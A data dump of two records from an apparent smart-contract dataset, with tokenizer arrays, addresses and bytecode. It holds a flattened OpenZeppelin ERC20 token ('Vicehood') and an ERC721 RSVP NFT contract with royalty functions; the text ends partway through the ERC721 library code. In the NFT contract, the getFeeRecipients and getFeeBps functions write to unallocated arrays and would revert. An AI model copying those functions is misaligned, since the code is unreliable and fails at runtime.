[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,525
0x96ef41c6f5dee0e987dd6565daaac7e658f45c97
// Sources flattened with hardhat v2.4.1 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.2.0 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/utils/Context.sol@v4.2.0 pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File contracts/vicehood.sol pragma solidity ^0.8.0; contract Vicehood is ERC20 { constructor() ERC20("Vicehood", "VICE") { _mint(msg.sender, 1000000000 * 10 ** decimals()); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c3919061100a565b60405180910390f35b6100e660048036038101906100e19190610c83565b610308565b6040516100f39190610fef565b60405180910390f35b610104610326565b604051610111919061110c565b60405180910390f35b610134600480360381019061012f9190610c34565b610330565b6040516101419190610fef565b60405180910390f35b610152610428565b60405161015f9190611127565b60405180910390f35b610182600480360381019061017d9190610c83565b610431565b60405161018f9190610fef565b60405180910390f35b6101b260048036038101906101ad9190610bcf565b6104dd565b6040516101bf919061110c565b60405180910390f35b6101d0610525565b6040516101dd919061100a565b60405180910390f35b61020060048036038101906101fb9190610c83565b6105b7565b60405161020d9190610fef565b60405180910390f35b610230600480360381019061022b9190610c83565b6106a2565b60405161023d9190610fef565b60405180910390f35b610260600480360381019061025b9190610bf8565b6106c0565b60405161026d919061110c565b60405180910390f35b6060600380546102859061123c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061123c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061108c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061115e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061123c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061123c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110ec565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061104c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d919061110c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610981906110ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061102c565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061106c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061115e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b82919061110c565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081359050610bb4816112dd565b92915050565b600081359050610bc9816112f4565b92915050565b600060208284031215610be157600080fd5b6000610bef84828501610ba5565b91505092915050565b60008060408385031215610c0b57600080fd5b6000610c1985828601610ba5565b9250506020610c2a85828601610ba5565b9150509250929050565b600080600060608486031215610c4957600080fd5b6000610c5786828701610ba5565b9350506020610c6886828701610ba5565b9250506040610c7986828701610bba565b9150509250925092565b60008060408385031215610c9657600080fd5b6000610ca485828601610ba5565b9250506020610cb585828601610bba565b9150509250929050565b610cc8816111c6565b82525050565b6000610cd982611142565b610ce3818561114d565b9350610cf3818560208601611209565b610cfc816112cc565b840191505092915050565b6000610d1460238361114d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d7a60228361114d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610de060268361114d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e4660288361114d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610eac60258361114d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f1260248361114d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f7860258361114d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fda816111f2565b82525050565b610fe9816111fc565b82525050565b60006020820190506110046000830184610cbf565b92915050565b600060208201905081810360008301526110248184610cce565b905092915050565b6000602082019050818103600083015261104581610d07565b9050919050565b6000602082019050818103600083015261106581610d6d565b9050919050565b6000602082019050818103600083015261108581610dd3565b9050919050565b600060208201905081810360008301526110a581610e39565b9050919050565b600060208201905081810360008301526110c581610e9f565b9050919050565b600060208201905081810360008301526110e581610f05565b9050919050565b6000602082019050818103600083015261110581610f6b565b9050919050565b60006020820190506111216000830184610fd1565b92915050565b600060208201905061113c6000830184610fe0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611169826111f2565b9150611174836111f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111a9576111a861126e565b5b828201905092915050565b60006111bf826111d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561122757808201518184015260208101905061120c565b83811115611236576000848401525b50505050565b6000600282049050600182168061125457607f821691505b602082108114156112685761126761129d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112e6816111b4565b81146112f157600080fd5b50565b6112fd816111f2565b811461130857600080fd5b5056fea2646970667358221220caf6e6feff8e599be952f43ef6d2b9b2735a37b88f5bc790837c066abbe5d94c64736f6c63430008000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 12879, 23632, 2278, 2575, 2546, 2629, 26095, 2692, 2063, 2683, 2620, 2581, 14141, 26187, 26187, 2850, 11057, 2278, 2581, 2063, 26187, 2620, 2546, 19961, 2278, 2683, 2581, 1013, 1013, 4216, 16379, 2007, 2524, 12707, 1058, 2475, 1012, 1018, 1012, 1015, 16770, 1024, 1013, 1013, 2524, 12707, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1030, 1058, 2549, 1012, 1016, 1012, 1014, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,526
0x96EF61E5e1a2fe3411f72E5d0E7Dcd918A1f53DA
// SPDX-License-Identifier: MIT // Written by Tim Kang <> illestrater // Thought innovation by Monstercat // Product by universe.xyz pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import 'base64-sol/base64.sol'; import 'hardhat/console.sol'; contract JamesBond is ERC721, Ownable { string private _title = '007 Bond Soiree'; string private _description = '007.nyc RSVP NFT'; string private _presetBaseURI = 'https://arweave.net/'; string private _imageHash = 'bsdKJWVvfBPdJYEWXM5avDoodrQn43_Yy5DN77lbLC0'; string private _assetHash; bool public mintingFinalized; uint256 private tokenIndex = 1; constructor( string memory name, string memory symbol, string memory assetHash ) ERC721(name, symbol) { _assetHash = assetHash; mintingFinalized = false; } function mintRSVP(address winner) public onlyOwner { _safeMint(winner, tokenIndex); tokenIndex++; } function updateAsset(string memory asset) public onlyOwner { _assetHash = asset; } function tokenURI(uint256 tokenId) public view virtual override(ERC721) returns (string memory) { require(ownerOf(tokenId) != address(0)); string memory encoded = string( abi.encodePacked( 'data:application/json;base64,', Base64.encode( bytes( abi.encodePacked( '{"name":"', _title, ' #', Strings.toString(tokenId), '", "description":"', _description, '", "image": "', _presetBaseURI, _imageHash, '", "animation_url": "', _presetBaseURI, _assetHash, '" }' ) ) ) ) ); return encoded; } bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584; bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x2a55205a; function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) { return interfaceId == _INTERFACE_ID_ROYALTIES_RARIBLE || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981 || super.supportsInterface(interfaceId); } function getFeeRecipients(uint256 tokenId) public view returns (address payable[] memory) { address payable[] memory recipients; recipients[0] = payable(0x4B49652fBf286b3DA10E44442c38134d841159eF); return recipients; } function getFeeBps(uint256 tokenId) public view returns (uint[] memory) { uint[] memory fees; fees[0] = 500; return fees; } function royaltyInfo(uint256 tokenId, uint256 value) public view returns (address recipient, uint256 amount){ return (0x4B49652fBf286b3DA10E44442c38134d841159eF, 500 * value / 10000); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ 